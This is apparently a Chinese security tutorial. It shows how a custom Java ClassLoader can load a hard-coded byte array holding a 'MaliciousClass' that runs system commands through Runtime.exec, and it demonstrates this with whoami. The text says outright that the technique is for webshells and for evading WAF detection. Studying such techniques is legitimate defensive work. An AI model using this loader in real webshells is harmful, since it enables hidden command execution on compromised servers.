0x01 前言
利用这个ClassLoader我们就可以尝试写自己的类加载器来实现加载自定义的字节码。
而在实战环境中可以利用自定义类加载器在webshell中实现加载并调用自己编译好的恶意类对象,比如通过本地调用自定义类字节码,最终达到调用java.lang.Runtime
的 exec
方法执行本地命令绕过waf的检测。
# 目录结构
├── ClassLoader
│ └── CustomClassLoaderAddClassFile
│ ├── Test2.java (用来做测试的方法)
├── MaliciousClass.class (一个编译好的恶意类文件,用来被获取字节码用的)
0x02 本地whoami
0x03 MaliciousClass (用来被获取字节码用的)
// 未编译前的源码
package ClassLoader.CustomClassLoaderAddClassFile;
import org.apache.commons.io.IOUtils;
public class MaliciousClass {
public String exec(String cmd) {
String results = null;
try {
results = IOUtils.toString(
Runtime.getRuntime().exec(cmd).getInputStream(),
"UTF-8");
} catch (Exception e) {
e.printStackTrace();
}
return results;
}
}
0x04 获取 MaliciousClass类字节码
请查看上一篇文章:https://www.yuque.com/pmiaowu/gpy1q8/wdg6lu
这里有详细介绍
0x05 例子-调用MaliciousClass类执行命令
// 例子: 使用MaliciousClass类的字节码进行实例化并反射调用exec方法
package ClassLoader.CustomClassLoaderAddClassFile;
import java.lang.reflect.Method;
public class Test2 {
public static void main(String[] args) {
// loadClassName = MaliciousClass.class类,源码里面写的 package路径+被调用类的类名称
String loadClassName = "ClassLoader.CustomClassLoaderAddClassFile.MaliciousClass";
// loadClassName.class类的字节码
byte[] classBytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 56, 10, 0, 10, 0, 31, 10, 0, 32, 0, 33, 10, 0, 32, 0, 34, 10, 0, 35, 0, 36, 8, 0, 37, 10, 0, 38, 0, 39, 7, 0, 40, 10, 0, 7, 0, 41, 7, 0, 42, 7, 0, 43, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 58, 76, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 67, 117, 115, 116, 111, 109, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 65, 100, 100, 67, 108, 97, 115, 115, 70, 105, 108, 101, 47, 77, 97, 108, 105, 99, 105, 111, 117, 115, 67, 108, 97, 115, 115, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 1, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 59, 1, 0, 3, 99, 109, 100, 1, 0, 18, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 7, 114, 101, 115, 117, 108, 116, 115, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 42, 7, 0, 44, 7, 0, 40, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 19, 77, 97, 108, 105, 99, 105, 111, 117, 115, 67, 108, 97, 115, 115, 46, 106, 97, 118, 97, 12, 0, 11, 0, 12, 7, 0, 45, 12, 0, 46, 0, 47, 12, 0, 18, 0, 48, 7, 0, 49, 12, 0, 50, 0, 51, 1, 0, 5, 85, 84, 70, 45, 56, 7, 0, 52, 12, 0, 53, 0, 54, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 55, 0, 12, 1, 0, 56, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 67, 117, 115, 116, 111, 109, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 65, 100, 100, 67, 108, 97, 115, 115, 70, 105, 108, 101, 47, 77, 97, 108, 105, 99, 105, 111, 117, 115, 67, 108, 97, 115, 115, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 29, 111, 114, 103, 47, 97, 112, 97, 99, 104, 101, 47, 99, 111, 109, 109, 111, 110, 115, 47, 105, 111, 47, 73, 79, 85, 116, 105, 108, 115, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 1, 0, 59, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 0, 33, 0, 9, 0, 10, 0, 0, 0, 0, 0, 2, 0, 1, 0, 11, 0, 12, 0, 1, 0, 13, 0, 0, 0, 47, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 14, 0, 0, 0, 6, 0, 1, 0, 0, 0, 5, 0, 15, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 16, 0, 17, 0, 0, 0, 1, 0, 18, 0, 19, 0, 1, 0, 13, 0, 0, 0, -96, 0, 2, 0, 4, 0, 0, 0, 28, 1, 77, -72, 0, 2, 43, -74, 0, 3, -74, 0, 4, 18, 5, -72, 0, 6, 77, -89, 0, 8, 78, 45, -74, 0, 8, 44, -80, 0, 1, 0, 2, 0, 18, 0, 21, 0, 7, 0, 3, 0, 14, 0, 0, 0, 30, 0, 7, 0, 0, 0, 7, 0, 2, 0, 10, 0, 14, 0, 9, 0, 18, 0, 14, 0, 21, 0, 12, 0, 22, 0, 13, 0, 26, 0, 15, 0, 15, 0, 0, 0, 42, 0, 4, 0, 22, 0, 4, 0, 20, 0, 21, 0, 3, 0, 0, 0, 28, 0, 16, 0, 17, 0, 0, 0, 0, 0, 28, 0, 22, 0, 23, 0, 1, 0, 2, 0, 26, 0, 24, 0, 23, 0, 2, 0, 25, 0, 0, 0, 22, 0, 2, -1, 0, 21, 0, 3, 7, 0, 26, 7, 0, 27, 7, 0, 27, 0, 1, 7, 0, 28, 4, 0, 1, 0, 29, 0, 0, 0, 2, 0, 30};
ByteClassLoader loader = new ByteClassLoader(loadClassName, classBytes);
try {
// 加载类
Class testClass = loader.loadClass(loadClassName);
// 实例化
Object testInstance = testClass.newInstance();
// 获取exec方法
Method method = testClass.getMethod("exec", String.class);
// 调用exec方法
String results = (String) method.invoke(testInstance,"whoami");
System.out.println(results);
} catch (Exception e) {
e.printStackTrace();
}
}
}
// 运行结果
pmiaowu